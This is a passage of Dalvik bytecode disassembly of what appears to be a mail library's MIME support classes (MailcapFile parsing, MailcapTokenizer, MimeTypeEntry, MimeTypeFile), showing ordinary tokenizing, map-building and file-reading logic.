00000054  if-eq                   v0, v11, :66
:58
00000058  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
0000005E  move-result-object      v1
00000060  invoke-static           MailcapFile->reportParseError(I, I, String)V, v11, v0, v1
:66
00000066  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
0000006C  move-result-object      v0
0000006E  sget-object             v1, Locale->ENGLISH:Locale
00000072  invoke-virtual          String->toLowerCase(Locale)String, v0, v1
00000078  move-result-object      v5
0000007A  const-string            v0, "*"
0000007E  invoke-virtual          MailcapTokenizer->nextToken()I, v4
00000084  move-result             v1
00000086  const/16                v6, 0x2F
0000008A  if-eq                   v1, v6, :A4
:8E
0000008E  if-eq                   v1, v10, :A4
:92
00000092  const/16                v6, 0x2F
00000096  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
0000009C  move-result-object      v7
0000009E  invoke-static           MailcapFile->reportParseError(I, I, I, String)V, v6, v10, v1, v7
:A4
000000A4  const/16                v6, 0x2F
000000A8  if-ne                   v1, v6, :E2
:AC
000000AC  invoke-virtual          MailcapTokenizer->nextToken()I, v4
000000B2  move-result             v0
000000B4  if-eq                   v0, v11, :C6
:B8
000000B8  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
000000BE  move-result-object      v1
000000C0  invoke-static           MailcapFile->reportParseError(I, I, String)V, v11, v0, v1
:C6
000000C6  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
000000CC  move-result-object      v0
000000CE  sget-object             v1, Locale->ENGLISH:Locale
000000D2  invoke-virtual          String->toLowerCase(Locale)String, v0, v1
000000D8  move-result-object      v0
000000DA  invoke-virtual          MailcapTokenizer->nextToken()I, v4
000000E0  move-result             v1
:E2
000000E2  new-instance            v6, StringBuilder
000000E6  invoke-static           String->valueOf(Object)String, v5
000000EC  move-result-object      v5
000000EE  invoke-direct           StringBuilder-><init>(String)V, v6, v5
000000F4  const-string            v5, "/"
000000F8  invoke-virtual          StringBuilder->append(String)StringBuilder, v6, v5
000000FE  move-result-object      v5
00000100  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v0
00000106  move-result-object      v0
00000108  invoke-virtual          StringBuilder->toString()String, v0
0000010E  move-result-object      v5
00000110  invoke-static           LogSupport->isLoggable()Z
00000116  move-result             v0
00000118  if-eqz                  v0, :140
:11C
0000011C  new-instance            v0, StringBuilder
00000120  const-string            v6, "  Type: "
00000124  invoke-direct           StringBuilder-><init>(String)V, v0, v6
0000012A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v5
00000130  move-result-object      v0
00000132  invoke-virtual          StringBuilder->toString()String, v0
00000138  move-result-object      v0
0000013A  invoke-static           LogSupport->log(String)V, v0
:140
00000140  new-instance            v6, LinkedHashMap
00000144  invoke-direct           LinkedHashMap-><init>()V, v6
0000014A  if-eq                   v1, v10, :15C
:14E
0000014E  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
00000154  move-result-object      v0
00000156  invoke-static           MailcapFile->reportParseError(I, I, String)V, v10, v1, v0
:15C
0000015C  invoke-virtual          MailcapTokenizer->setIsAutoquoting(Z)V, v4, v2
00000162  invoke-virtual          MailcapTokenizer->nextToken()I, v4
00000168  move-result             v1
0000016A  invoke-virtual          MailcapTokenizer->setIsAutoquoting(Z)V, v4, v3
00000170  if-eq                   v1, v11, :186
:174
00000174  if-eq                   v1, v10, :186
:178
00000178  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
0000017E  move-result-object      v0
00000180  invoke-static           MailcapFile->reportParseError(I, I, I, String)V, v11, v10, v1, v0
:186
00000186  if-ne                   v1, v11, :1B8
:18A
0000018A  iget-object             v0, p0, MailcapFile->native_commands:Map
0000018E  invoke-interface        Map->get(Object)Object, v0, v5
00000194  move-result-object      v0
00000196  check-cast              v0, List
0000019A  if-nez                  v0, :2C8
:19E
0000019E  new-instance            v0, ArrayList
000001A2  invoke-direct           ArrayList-><init>()V, v0
000001A8  invoke-interface        List->add(Object)Z, v0, p1
000001AE  iget-object             v7, p0, MailcapFile->native_commands:Map
000001B2  invoke-interface        Map->put(Object, Object)Object, v7, v5, v0
:1B8
000001B8  if-eq                   v1, v10, :47C
:1BC
000001BC  invoke-virtual          MailcapTokenizer->nextToken()I, v4
000001C2  move-result             v0
:1C4
000001C4  if-ne                   v0, v10, :456
:1C8
000001C8  move                    v1, v3
:1CA
000001CA  invoke-virtual          MailcapTokenizer->nextToken()I, v4
000001D0  move-result             v0
000001D2  if-eq                   v0, v11, :1E4
:1D6
000001D6  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
000001DC  move-result-object      v7
000001DE  invoke-static           MailcapFile->reportParseError(I, I, String)V, v11, v0, v7
:1E4
000001E4  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
000001EA  move-result-object      v0
000001EC  sget-object             v7, Locale->ENGLISH:Locale
000001F0  invoke-virtual          String->toLowerCase(Locale)String, v0, v7
000001F6  move-result-object      v7
000001F8  invoke-virtual          MailcapTokenizer->nextToken()I, v4
000001FE  move-result             v0
00000200  const/16                v8, 0x3D
00000204  if-eq                   v0, v8, :222
:208
00000208  if-eq                   v0, v10, :222
:20C
0000020C  if-eq                   v0, v12, :222
:210
00000210  const/16                v8, 0x3D
00000214  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
0000021A  move-result-object      v9
0000021C  invoke-static           MailcapFile->reportParseError(I, I, I, I, String)V, v8, v10, v12, v0, v9
:222
00000222  const/16                v8, 0x3D
00000226  if-ne                   v0, v8, :472
:22A
0000022A  invoke-virtual          MailcapTokenizer->setIsAutoquoting(Z)V, v4, v2
00000230  invoke-virtual          MailcapTokenizer->nextToken()I, v4
00000236  move-result             v0
00000238  invoke-virtual          MailcapTokenizer->setIsAutoquoting(Z)V, v4, v3
0000023E  if-eq                   v0, v11, :250
:242
00000242  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
00000248  move-result-object      v8
0000024A  invoke-static           MailcapFile->reportParseError(I, I, String)V, v11, v0, v8
:250
00000250  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
00000256  move-result-object      v8
00000258  const-string            v0, "x-java-"
0000025C  invoke-virtual          String->startsWith(String)Z, v7, v0
00000262  move-result             v0
00000264  if-eqz                  v0, :294
:268
00000268  const/4                 v0, 0x7
0000026A  invoke-virtual          String->substring(I)String, v7, v0
00000270  move-result-object      v7
00000272  const-string            v0, "fallback-entry"
00000276  invoke-virtual          String->equals(Object)Z, v7, v0
0000027C  move-result             v0
0000027E  if-eqz                  v0, :2D2
:282
00000282  const-string            v0, "true"
00000286  invoke-virtual          String->equalsIgnoreCase(String)Z, v8, v0
0000028C  move-result             v0
0000028E  if-eqz                  v0, :2D2
:292
00000292  move                    v1, v2
:294
00000294  invoke-virtual          MailcapTokenizer->nextToken()I, v4
0000029A  move-result             v0
0000029C  move                    v13, v1
0000029E  move                    v1, v0
000002A0  move                    v0, v13
:2A2
000002A2  if-eq                   v1, v10, :46C
:2A6
000002A6  if-eqz                  v0, :34E
:2AA
000002AA  iget-object             v0, p0, MailcapFile->fallback_hash:Map
000002AE  move-object             v1, v0
:2B0
000002B0  invoke-interface        Map->get(Object)Object, v1, v5
000002B6  move-result-object      v0
000002B8  check-cast              v0, Map
000002BC  if-nez                  v0, :356
:2C0
000002C0  invoke-interface        Map->put(Object, Object)Object, v1, v5, v6
:2C6
000002C6  return-void
:2C8
000002C8  invoke-interface        List->add(Object)Z, v0, p1
000002CE  goto/16                 :1B8
:2D2
000002D2  invoke-static           LogSupport->isLoggable()Z
000002D8  move-result             v0
000002DA  if-eqz                  v0, :316
:2DE
000002DE  new-instance            v0, StringBuilder
000002E2  const-string            v9, "    Command: "
000002E6  invoke-direct           StringBuilder-><init>(String)V, v0, v9
000002EC  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v7
000002F2  move-result-object      v0
000002F4  const-string            v9, ", Class: "
000002F8  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v9
000002FE  move-result-object      v0
00000300  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v8
00000306  move-result-object      v0
00000308  invoke-virtual          StringBuilder->toString()String, v0
0000030E  move-result-object      v0
00000310  invoke-static           LogSupport->log(String)V, v0
:316
00000316  invoke-interface        Map->get(Object)Object, v6, v7
0000031C  move-result-object      v0
0000031E  check-cast              v0, List
00000322  if-nez                  v0, :336
:326
00000326  new-instance            v0, ArrayList
0000032A  invoke-direct           ArrayList-><init>()V, v0
00000330  invoke-interface        Map->put(Object, Object)Object, v6, v7, v0
:336
00000336  sget-boolean            v7, MailcapFile->addReverse:Z
0000033A  if-eqz                  v7, :346
:33E
0000033E  invoke-interface        List->add(I, Object)V, v0, v3, v8
00000344  goto                    :294
:346
00000346  invoke-interface        List->add(Object)Z, v0, v8
0000034C  goto                    :294
:34E
0000034E  iget-object             v0, p0, MailcapFile->type_hash:Map
00000352  move-object             v1, v0
00000354  goto                    :2B0
:356
00000356  invoke-static           LogSupport->isLoggable()Z
0000035C  move-result             v1
0000035E  if-eqz                  v1, :386
:362
00000362  new-instance            v1, StringBuilder
00000366  const-string            v2, "Merging commands for type "
0000036A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000370  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v5
00000376  move-result-object      v1
00000378  invoke-virtual          StringBuilder->toString()String, v1
0000037E  move-result-object      v1
00000380  invoke-static           LogSupport->log(String)V, v1
:386
00000386  invoke-interface        Map->keySet()Set, v0
0000038C  move-result-object      v1
0000038E  invoke-interface        Set->iterator()Iterator, v1
00000394  move-result-object      v4
:396
00000396  invoke-interface        Iterator->hasNext()Z, v4
0000039C  move-result             v1
0000039E  if-nez                  v1, :3EA
:3A2
000003A2  invoke-interface        Map->keySet()Set, v6
000003A8  move-result-object      v1
000003AA  invoke-interface        Set->iterator()Iterator, v1
000003B0  move-result-object      v3
:3B2
000003B2  invoke-interface        Iterator->hasNext()Z, v3
000003B8  move-result             v1
000003BA  if-eqz                  v1, :2C6
:3BE
000003BE  invoke-interface        Iterator->next()Object, v3
000003C4  move-result-object      v1
000003C6  check-cast              v1, String
000003CA  invoke-interface        Map->containsKey(Object)Z, v0, v1
000003D0  move-result             v2
000003D2  if-nez                  v2, :3B2
:3D6
000003D6  invoke-interface        Map->get(Object)Object, v6, v1
000003DC  move-result-object      v2
000003DE  check-cast              v2, List
000003E2  invoke-interface        Map->put(Object, Object)Object, v0, v1, v2
000003E8  goto                    :3B2
:3EA
000003EA  invoke-interface        Iterator->next()Object, v4
000003F0  move-result-object      v1
000003F2  check-cast              v1, String
000003F6  invoke-interface        Map->get(Object)Object, v0, v1
000003FC  move-result-object      v2
000003FE  check-cast              v2, List
00000402  invoke-interface        Map->get(Object)Object, v6, v1
00000408  move-result-object      v1
0000040A  check-cast              v1, List
0000040E  if-eqz                  v1, :396
:412
00000412  invoke-interface        List->iterator()Iterator, v1
00000418  move-result-object      v5
:41A
0000041A  invoke-interface        Iterator->hasNext()Z, v5
00000420  move-result             v1
00000422  if-eqz                  v1, :396
:426
00000426  invoke-interface        Iterator->next()Object, v5
0000042C  move-result-object      v1
0000042E  check-cast              v1, String
00000432  invoke-interface        List->contains(Object)Z, v2, v1
00000438  move-result             v7
0000043A  if-nez                  v7, :41A
:43E
0000043E  sget-boolean            v7, MailcapFile->addReverse:Z
00000442  if-eqz                  v7, :44E
:446
00000446  invoke-interface        List->add(I, Object)V, v2, v3, v1
0000044C  goto                    :41A
:44E
0000044E  invoke-interface        List->add(Object)Z, v2, v1
00000454  goto                    :41A
:456
00000456  if-eq                   v0, v12, :2C6
:45A
0000045A  invoke-virtual          MailcapTokenizer->getCurrentTokenValue()String, v4
00000460  move-result-object      v1
00000462  invoke-static           MailcapFile->reportParseError(I, I, I, String)V, v12, v10, v0, v1
00000468  goto/16                 :2C6
:46C
0000046C  move                    v1, v0
0000046E  goto/16                 :1CA
:472
00000472  move                    v13, v1
00000474  move                    v1, v0
00000476  move                    v0, v13
00000478  goto/16                 :2A2
:47C
0000047C  move                    v0, v1
0000047E  goto/16                 :1C4
.end method

#--------------------------------------------------------------------------------
.class public MailcapParseException
.super Exception
.source ""

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Exception-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Exception-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public MailcapTokenizer
.super Object
.source ""

.field public static final EOI_TOKEN:I = 0x5
.field public static final EQUALS_TOKEN:I = 0x3D
.field public static final SEMICOLON_TOKEN:I = 0x3B
.field public static final SLASH_TOKEN:I = 0x2F
.field public static final START_TOKEN:I = 0x1
.field public static final STRING_TOKEN:I = 0x2
.field public static final UNKNOWN_TOKEN:I
.field private autoquoteChar:C
.field private currentToken:I
.field private currentTokenValue:String
.field private data:String
.field private dataIndex:I
.field private dataLength:I
.field private isAutoquoting:Z

.method public constructor <init>(String)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             p1, p0, MailcapTokenizer->data:String
0000000C  iput                    v1, p0, MailcapTokenizer->dataIndex:I
00000010  invoke-virtual          String->length()I, p1
00000016  move-result             v0
00000018  iput                    v0, p0, MailcapTokenizer->dataLength:I
0000001C  const/4                 v0, 0x1
0000001E  iput                    v0, p0, MailcapTokenizer->currentToken:I
00000022  const-string            v0, ""
00000026  iput-object             v0, p0, MailcapTokenizer->currentTokenValue:String
0000002A  iput-boolean            v1, p0, MailcapTokenizer->isAutoquoting:Z
0000002E  const/16                v0, 0x3B
00000032  iput-char               v0, p0, MailcapTokenizer->autoquoteChar:C
00000036  return-void
.end method

.method private static fixEscapeSequences(String)String
          .registers 6
00000000  invoke-virtual          String->length()I, p0
00000006  move-result             v1
00000008  new-instance            v2, StringBuffer
0000000C  invoke-direct           StringBuffer-><init>()V, v2
00000012  invoke-virtual          StringBuffer->ensureCapacity(I)V, v2, v1
00000018  const/4                 v0, 0x0
:1A
0000001A  if-lt                   v0, v1, :28
:1E
0000001E  invoke-virtual          StringBuffer->toString()String, v2
00000024  move-result-object      v0
00000026  return-object           v0
:28
00000028  invoke-virtual          String->charAt(I)C, p0, v0
0000002E  move-result             v3
00000030  const/16                v4, 0x5C
00000034  if-eq                   v3, v4, :44
:38
00000038  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v3
:3E
0000003E  add-int/lit8            v0, v0, 0x1
00000042  goto                    :1A
:44
00000044  add-int/lit8            v4, v1, 0xFFFFFFFFFFFFFFFF
00000048  if-ge                   v0, v4, :64
:4C
0000004C  add-int/lit8            v3, v0, 0x1
00000050  invoke-virtual          String->charAt(I)C, p0, v3
00000056  move-result             v3
00000058  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v3
0000005E  add-int/lit8            v0, v0, 0x1
00000062  goto                    :3E
:64
00000064  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v3
0000006A  goto                    :3E
.end method

.method private static isControlChar(C)Z
          .registers 2
00000000  invoke-static           Character->isISOControl(C)Z, p0
00000006  move-result             v0
00000008  return                  v0
.end method

.method private static isSpecialChar(C)Z
          .registers 2
00000000  const/4                 v0, 0x0
00000002  sparse-switch           p0, :10
:8
00000008  return                  v0
:A
0000000A  const/4                 v0, 0x1
0000000C  goto                    :8
00000010  .sparse-switch
              0x22 -> :A
              0x28 -> :A
              0x29 -> :A
              0x2C -> :A
              0x2F -> :A
              0x3A -> :A
              0x3B -> :A
              0x3C -> :A
              0x3D -> :A
              0x3E -> :A
              0x3F -> :A
              0x40 -> :A
              0x5B -> :A
              0x5C -> :A
              0x5D -> :A
          .end sparse-switch
.end method

.method private static isStringTokenChar(C)Z
          .registers 2
00000000  invoke-static           MailcapTokenizer->isSpecialChar(C)Z, p0
00000006  move-result             v0
00000008  if-nez                  v0, :28
:C
0000000C  invoke-static           MailcapTokenizer->isControlChar(C)Z, p0
00000012  move-result             v0
00000014  if-nez                  v0, :28
:18
00000018  invoke-static           MailcapTokenizer->isWhiteSpaceChar(C)Z, p0
0000001E  move-result             v0
00000020  if-nez                  v0, :28
:24
00000024  const/4                 v0, 0x1
:26
00000026  return                  v0
:28
00000028  const/4                 v0, 0x0
0000002A  goto                    :26
.end method

.method private static isWhiteSpaceChar(C)Z
          .registers 2
00000000  invoke-static           Character->isWhitespace(C)Z, p0
00000006  move-result             v0
00000008  return                  v0
.end method

.method public static nameForToken(I)String
          .registers 2
00000000  const-string            v0, "really unknown"
00000004  sparse-switch           p0, :38
:A
0000000A  return-object           v0
:C
0000000C  const-string            v0, "unknown"
00000010  goto                    :A
:12
00000012  const-string            v0, "start"
00000016  goto                    :A
:18
00000018  const-string            v0, "string"
0000001C  goto                    :A
:1E
0000001E  const-string            v0, "EOI"
00000022  goto                    :A
:24
00000024  const-string            v0, "\'/\'"
00000028  goto                    :A
:2A
0000002A  const-string            v0, "\';\'"
0000002E  goto                    :A
:30
00000030  const-string            v0, "\'=\'"
00000034  goto                    :A
00000038  .sparse-switch
              0x0 -> :C
              0x1 -> :12
              0x2 -> :18
              0x5 -> :1E
              0x2F -> :24
              0x3B -> :2A
              0x3D -> :30
          .end sparse-switch
.end method

.method private processAutoquoteToken()V
          .registers 5
00000000  iget                    v1, p0, MailcapTokenizer->dataIndex:I
00000004  const/4                 v0, 0x0
:6
00000006  iget                    v2, p0, MailcapTokenizer->dataIndex:I
0000000A  iget                    v3, p0, MailcapTokenizer->dataLength:I
0000000E  if-ge                   v2, v3, :16
:12
00000012  if-eqz                  v0, :3A
:16
00000016  const/4                 v0, 0x2
00000018  iput                    v0, p0, MailcapTokenizer->currentToken:I
0000001C  iget-object             v0, p0, MailcapTokenizer->data:String
00000020  iget                    v2, p0, MailcapTokenizer->dataIndex:I
00000024  invoke-virtual          String->substring(I, I)String, v0, v1, v2
0000002A  move-result-object      v0
0000002C  invoke-static           MailcapTokenizer->fixEscapeSequences(String)String, v0
00000032  move-result-object      v0
00000034  iput-object             v0, p0, MailcapTokenizer->currentTokenValue:String
00000038  return-void
:3A
0000003A  iget-object             v2, p0, MailcapTokenizer->data:String
0000003E  iget                    v3, p0, MailcapTokenizer->dataIndex:I
00000042  invoke-virtual          String->charAt(I)C, v2, v3
00000048  move-result             v2
0000004A  iget-char               v3, p0, MailcapTokenizer->autoquoteChar:C
0000004E  if-eq                   v2, v3, :60
:52
00000052  iget                    v2, p0, MailcapTokenizer->dataIndex:I
00000056  add-int/lit8            v2, v2, 0x1
0000005A  iput                    v2, p0, MailcapTokenizer->dataIndex:I
0000005E  goto                    :6
:60
00000060  const/4                 v0, 0x1
00000062  goto                    :6
.end method

.method private processStringToken()V
          .registers 4
00000000  iget                    v0, p0, MailcapTokenizer->dataIndex:I
:4
00000004  iget                    v1, p0, MailcapTokenizer->dataIndex:I
00000008  iget                    v2, p0, MailcapTokenizer->dataLength:I
0000000C  if-ge                   v1, v2, :2C
:10
00000010  iget-object             v1, p0, MailcapTokenizer->data:String
00000014  iget                    v2, p0, MailcapTokenizer->dataIndex:I
00000018  invoke-virtual          String->charAt(I)C, v1, v2
0000001E  move-result             v1
00000020  invoke-static           MailcapTokenizer->isStringTokenChar(C)Z, v1
00000026  move-result             v1
00000028  if-nez                  v1, :48
:2C
0000002C  const/4                 v1, 0x2
0000002E  iput                    v1, p0, MailcapTokenizer->currentToken:I
00000032  iget-object             v1, p0, MailcapTokenizer->data:String
00000036  iget                    v2, p0, MailcapTokenizer->dataIndex:I
0000003A  invoke-virtual          String->substring(I, I)String, v1, v0, v2
00000040  move-result-object      v0
00000042  iput-object             v0, p0, MailcapTokenizer->currentTokenValue:String
00000046  return-void
:48
00000048  iget                    v1, p0, MailcapTokenizer->dataIndex:I
0000004C  add-int/lit8            v1, v1, 0x1
00000050  iput                    v1, p0, MailcapTokenizer->dataIndex:I
00000054  goto                    :4
.end method

.method public getCurrentToken()I
          .registers 2
00000000  iget                    v0, p0, MailcapTokenizer->currentToken:I
00000004  return                  v0
.end method

.method public getCurrentTokenValue()String
          .registers 2
00000000  iget-object             v0, p0, MailcapTokenizer->currentTokenValue:String
00000004  return-object           v0
.end method

.method public nextToken()I
          .registers 7
00000000  const/4                 v5, 0x0
00000002  const/16                v4, 0x3D
00000006  const/16                v3, 0x3B
0000000A  const/4                 v2, 0x5
0000000C  iget                    v0, p0, MailcapTokenizer->dataIndex:I
00000010  iget                    v1, p0, MailcapTokenizer->dataLength:I
00000014  if-ge                   v0, v1, :12E
:18
00000018  iget                    v0, p0, MailcapTokenizer->dataIndex:I
0000001C  iget                    v1, p0, MailcapTokenizer->dataLength:I
00000020  if-ge                   v0, v1, :40
:24
00000024  iget-object             v0, p0, MailcapTokenizer->data:String
00000028  iget                    v1, p0, MailcapTokenizer->dataIndex:I
0000002C  invoke-virtual          String->charAt(I)C, v0, v1
00000032  move-result             v0
00000034  invoke-static           MailcapTokenizer->isWhiteSpaceChar(C)Z, v0
0000003A  move-result             v0
0000003C  if-nez                  v0, :98
:40
00000040  iget                    v0, p0, MailcapTokenizer->dataIndex:I
00000044  iget                    v1, p0, MailcapTokenizer->dataLength:I
00000048  if-ge                   v0, v1, :124
:4C
0000004C  iget-object             v0, p0, MailcapTokenizer->data:String
00000050  iget                    v1, p0, MailcapTokenizer->dataIndex:I
00000054  invoke-virtual          String->charAt(I)C, v0, v1
0000005A  move-result             v0
0000005C  iget-boolean            v1, p0, MailcapTokenizer->isAutoquoting:Z
00000060  if-eqz                  v1, :AE
:64
00000064  if-eq                   v0, v3, :6C
:68
00000068  if-ne                   v0, v4, :A6
:6C
0000006C  iput                    v0, p0, MailcapTokenizer->currentToken:I
00000070  new-instance            v1, Character
00000074  invoke-direct           Character-><init>(C)V, v1, v0
0000007A  invoke-virtual          Character->toString()String, v1
00000080  move-result-object      v0
00000082  iput-object             v0, p0, MailcapTokenizer->currentTokenValue:String
00000086  iget                    v0, p0, MailcapTokenizer->dataIndex:I
0000008A  add-int/lit8            v0, v0, 0x1
0000008E  iput                    v0, p0, MailcapTokenizer->dataIndex:I
:92
00000092  iget                    v0, p0, MailcapTokenizer->currentToken:I
00000096  return                  v0
:98
00000098  iget                    v0, p0, MailcapTokenizer->dataIndex:I
0000009C  add-int/lit8            v0, v0, 0x1
000000A0  iput                    v0, p0, MailcapTokenizer->dataIndex:I
000000A4  goto                    :18
:A6
000000A6  invoke-direct           MailcapTokenizer->processAutoquoteToken()V, p0
000000AC  goto                    :92
:AE
000000AE  invoke-static           MailcapTokenizer->isStringTokenChar(C)Z, v0
000000B4  move-result             v1
000000B6  if-eqz                  v1, :C2
:BA
000000BA  invoke-direct           MailcapTokenizer->processStringToken()V, p0
000000C0  goto                    :92
:C2
000000C2  const/16                v1, 0x2F
000000C6  if-eq                   v0, v1, :D2
:CA
000000CA  if-eq                   v0, v3, :D2
:CE
000000CE  if-ne                   v0, v4, :FA
:D2
000000D2  iput                    v0, p0, MailcapTokenizer->currentToken:I
000000D6  new-instance            v1, Character
000000DA  invoke-direct           Character-><init>(C)V, v1, v0
000000E0  invoke-virtual          Character->toString()String, v1
000000E6  move-result-object      v0
000000E8  iput-object             v0, p0, MailcapTokenizer->currentTokenValue:String
000000EC  iget                    v0, p0, MailcapTokenizer->dataIndex:I
000000F0  add-int/lit8            v0, v0, 0x1
000000F4  iput                    v0, p0, MailcapTokenizer->dataIndex:I
000000F8  goto                    :92
:FA
000000FA  const/4                 v1, 0x0
000000FC  iput                    v1, p0, MailcapTokenizer->currentToken:I
00000100  new-instance            v1, Character
00000104  invoke-direct           Character-><init>(C)V, v1, v0
0000010A  invoke-virtual          Character->toString()String, v1
00000110  move-result-object      v0
00000112  iput-object             v0, p0, MailcapTokenizer->currentTokenValue:String
00000116  iget                    v0, p0, MailcapTokenizer->dataIndex:I
0000011A  add-int/lit8            v0, v0, 0x1
0000011E  iput                    v0, p0, MailcapTokenizer->dataIndex:I
00000122  goto                    :92
:124
00000124  iput                    v2, p0, MailcapTokenizer->currentToken:I
00000128  iput-object             v5, p0, MailcapTokenizer->currentTokenValue:String
0000012C  goto                    :92
:12E
0000012E  iput                    v2, p0, MailcapTokenizer->currentToken:I
00000132  iput-object             v5, p0, MailcapTokenizer->currentTokenValue:String
00000136  goto                    :92
.end method

.method public setIsAutoquoting(Z)V
          .registers 2
00000000  iput-boolean            p1, p0, MailcapTokenizer->isAutoquoting:Z
00000004  return-void
.end method

#--------------------------------------------------------------------------------
.class public MimeTypeEntry
.super Object
.source ""

.field private extension:String
.field private type:String

.method public constructor <init>(String, String)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, MimeTypeEntry->type:String
0000000A  iput-object             p2, p0, MimeTypeEntry->extension:String
0000000E  return-void
.end method

.method public getFileExtension()String
          .registers 2
00000000  iget-object             v0, p0, MimeTypeEntry->extension:String
00000004  return-object           v0
.end method

.method public getMIMEType()String
          .registers 2
00000000  iget-object             v0, p0, MimeTypeEntry->type:String
00000004  return-object           v0
.end method

.method public toString()String
          .registers 3
00000000  new-instance            v0, StringBuilder
00000004  const-string            v1, "MIMETypeEntry: "
00000008  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000000E  iget-object             v1, p0, MimeTypeEntry->type:String
00000012  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000018  move-result-object      v0
0000001A  const-string            v1, ", "
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000024  move-result-object      v0
00000026  iget-object             v1, p0, MimeTypeEntry->extension:String
0000002A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000030  move-result-object      v0
00000032  invoke-virtual          StringBuilder->toString()String, v0
00000038  move-result-object      v0
0000003A  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public MimeTypeFile
.super Object
.source ""

.field private fname:String
.field private type_hash:Hashtable

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, MimeTypeFile->fname:String
0000000C  new-instance            v0, Hashtable
00000010  invoke-direct           Hashtable-><init>()V, v0
00000016  iput-object             v0, p0, MimeTypeFile->type_hash:Hashtable
0000001A  return-void
.end method

.method public constructor <init>(InputStream)V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, MimeTypeFile->fname:String
0000000C  new-instance            v0, Hashtable
00000010  invoke-direct           Hashtable-><init>()V, v0
00000016  iput-object             v0, p0, MimeTypeFile->type_hash:Hashtable
0000001A  new-instance            v0, BufferedReader
0000001E  new-instance            v1, InputStreamReader
00000022  const-string            v2, "iso-8859-1"
00000026  invoke-direct           InputStreamReader-><init>(InputStream, String)V, v1, p1, v2
0000002C  invoke-direct           BufferedReader-><init>(Reader)V, v0, v1
00000032  invoke-direct           MimeTypeFile->parse(BufferedReader)V, p0, v0
00000038  return-void
.end method

.method public constructor <init>(String)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, MimeTypeFile->fname:String
0000000C  new-instance            v0, Hashtable
00000010  invoke-direct           Hashtable-><init>()V, v0
00000016  iput-object             v0, p0, MimeTypeFile->type_hash:Hashtable
0000001A  iput-object             p1, p0, MimeTypeFile->fname:String
0000001E  new-instance            v0, File
00000022  iget-object             v1, p0, MimeTypeFile->fname:String
00000026  invoke-direct           File-><init>(String)V, v0, v1
0000002C  new-instance            v1, FileReader
00000030  invoke-direct           FileReader-><init>(File)V, v1, v0
:36
00000036  new-instance            v0, BufferedReader
0000003A  invoke-direct           BufferedReader-><init>(Reader)V, v0, v1
00000040  invoke-direct           MimeTypeFile->parse(BufferedReader)V, p0, v0
:46
00000046  invoke-virtual          FileReader->close()V, v1
:4C
0000004C  return-void
:4E
0000004E  move-exception          v0
:50
00000050  invoke-virtual          FileReader->close()V, v1
:56
00000056  throw                   v0
:58
00000058  move-exception          v1
0000005A  goto                    :56
:5C
0000005C  move-exception          v0
0000005E  goto                    :4C
          .catchall {:36 .. :46} :4E
          .catch IOException {:46 .. :4C} :5C
          .catch IOException {:50 .. :56} :58
.end method

.method private parse(BufferedReader)V
          .registers 7
00000000  const/4                 v2, 0x0
00000002  move-object             v1, v2
:4
00000004  invoke-virtual          BufferedReader->readLine()String, p1
0000000A  move-result-object      v0
0000000C  if-nez                  v0, :1C
:10
00000010  if-eqz                  v1, :1A
:14
00000014  invoke-direct           MimeTypeFile->parseEntry(String)V, p0, v1
:1A
0000001A  return-void
:1C
0000001C  if-nez                  v1, :5A
:20
00000020  invoke-virtual          String->length()I, v0
00000026  move-result             v1
00000028  invoke-virtual          String->length()I, v0
0000002E  move-result             v3
00000030  if-lez                  v3, :7E
:34
00000034  add-int/lit8            v3, v1, 0xFFFFFFFFFFFFFFFF
00000038  invoke-virtual          String->charAt(I)C, v0, v3
0000003E  move-result             v3
00000040  const/16                v4, 0x5C
00000044  if-ne                   v3, v4, :7E
:48
00000048  const/4                 v3, 0x0
0000004A  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000004E  invoke-virtual          String->substring(I, I)String, v0, v3, v1
00000054  move-result-object      v0
00000056  move-object             v1, v0
00000058  goto                    :4
:5A
0000005A  new-instance            v3, StringBuilder
0000005E  invoke-static           String->valueOf(Object)String, v1
00000064  move-result-object      v1
00000066  invoke-direct           StringBuilder-><init>(String)V, v3, v1
0000006C  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v0
00000072  move-result-object      v0
00000074  invoke-virtual          StringBuilder->toString()String, v0
0000007A  move-result-object      v0
